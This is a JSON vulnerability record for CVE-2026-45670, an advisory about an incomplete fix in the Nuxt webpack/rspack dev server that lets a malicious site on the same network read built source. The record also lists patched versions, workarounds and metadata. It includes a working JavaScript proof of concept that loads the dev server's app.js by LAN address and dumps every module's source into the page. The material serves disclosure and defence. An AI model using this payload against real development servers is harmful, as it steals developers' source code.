{"id":"CVE-2026-45670","aliases":["GHSA-6m52-m754-pw2g"],"url":"https://o3.security/vulnerability/CVE-2026-45670","summary":"Nuxt: Dev server exposes built source over LAN to malicious sites (incomplete fix for GHSA-4gf7-ff8x-hq99)","details":"### Summary\nThis is an incomplete fix for [GHSA-4gf7-ff8x-hq99](https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99). Source code may be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. `nuxt dev --host`) and the developer opens a malicious site on the same network.\n\n### Details\nThe fix for [GHSA-4gf7-ff8x-hq99](https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99) relied on Sec-Fetch-Mode and Sec-Fetch-Site headers. Because [these headers are sent by the browsers only for potentially trustworthy origins](https://w3c.github.io/webappsec-fetch-metadata/#sec-fetch-site-header:~:text=Site%20header%20for%20a%20request%20r%3A-,Assert%3A%20r%E2%80%99s%20url%20is%20a%20potentially%20trustworthy%20URL.,-Let%20header%20be%20a%20Structured%20Field%20whose), the check is able to bypass for non-potentially trustworthy origins.\n\nSince the attack requires the website to be accessible via a non-potentially trustworthy origin, only apps that are using `--host` is affected.\n\n### PoC\n1. Create a nuxt project with webpack / rspack builder.\n1. Run `npm run dev`\n1. Open `http://localhost:3000`\n1. Run the script below in a web site that has a different origin.\n1. You can see the source code output in the document and the devtools console.\n\n```js\nconst script = document.createElement('script')\nscript.src = 'http://192.168.0.31:3000/_nuxt/app.js' // NOTE: replace with the IP address the dev server listens to\nscript.addEventListener('load', () => {\n  const key = Object.keys(window).find(k => k.startsWith(\"webpackChunk\"))\n  for (const page in window[key]) {\n    const moduleList = window[key][page][1]\n    console.log(moduleList)\n\n    for (const key in moduleList) {\n      const p = document.createElement('p')\n      const title = document.createElement('strong')\n      title.textContent = key\n      const code = document.createElement('code')\n      code.textContent = moduleList[key].toString()\n      p.append(title, ':', document.createElement('br'), code)\n      document.body.appendChild(p)\n    }\n  }\n})\ndocument.head.appendChild(script)\n```\n(This script is the similar with [GHSA-4gf7-ff8x-hq99](https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99) except for the `script.src` and the global variable name)\n\n### Impact\nUsers using webpack / rspack builder may get the source code stolen by malicious websites if it uses a predictable host and also is using `--host`.\n\nThis vulnerability does not affect Chrome 142+ (and other Chromium based browsers) users due to [the local network access restriction feature](https://developer.chrome.com/release-notes/142#local_network_access_restrictions).\n\n### Patches\nFixed in `nuxt@4.4.6` and `nuxt@3.21.6` by [#35051](https://github.com/nuxt/nuxt/pull/35051). The dev-middleware same-origin check now falls back to comparing the request's `Origin` / `Referer` host against `Host` when `Sec-Fetch-*` headers are absent, closing the non-trustworthy-origin bypass.\n\nThe fix only ships for the `@nuxt/webpack-builder` and `@nuxt/rspack-builder` packages. The default Vite builder was not affected.\n\n### Workarounds\nIf you cannot upgrade immediately:\n\n- Don't use `nuxt dev --host`. Bind the dev server to `localhost` (the default) and tunnel from other devices via SSH or a reverse proxy that enforces same-origin checks.\n- Use Chrome 142+ or another Chromium-based browser that enforces [local network access restrictions](https://developer.chrome.com/release-notes/142#local_network_access_restrictions).\n- Switch to the Vite builder for development.","published":"2026-06-12T12:51:16.156Z","modified":"2026-08-12T03:51:20.787496085Z","cvss":null,"epss":{"score":0.00205,"percentile":0.10863,"asOf":"2026-08-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@nuxt/rspack-builder","fixedVersion":"3.21.6"},{"ecosystem":"npm","name":"@nuxt/rspack-builder","fixedVersion":"4.4.6"},{"ecosystem":"npm","name":"@nuxt/webpack-builder","fixedVersion":"3.21.6"},{"ecosystem":"npm","name":"@nuxt/webpack-builder","fixedVersion":"4.4.6"}],"fix":{"url":"https://github.com/nuxt/nuxt/pull/35051","label":"nuxt/nuxt#35051"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45670.json"},{"type":"ADVISORY","url":"https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99"},{"type":"ADVISORY","url":"https://github.com/nuxt/nuxt/security/advisories/GHSA-6m52-m754-pw2g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45670"},{"type":"FIX","url":"https://github.com/nuxt/nuxt/pull/35051"},{"type":"PACKAGE","url":"https://github.com/nuxt/nuxt"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:20.787496085Z"}}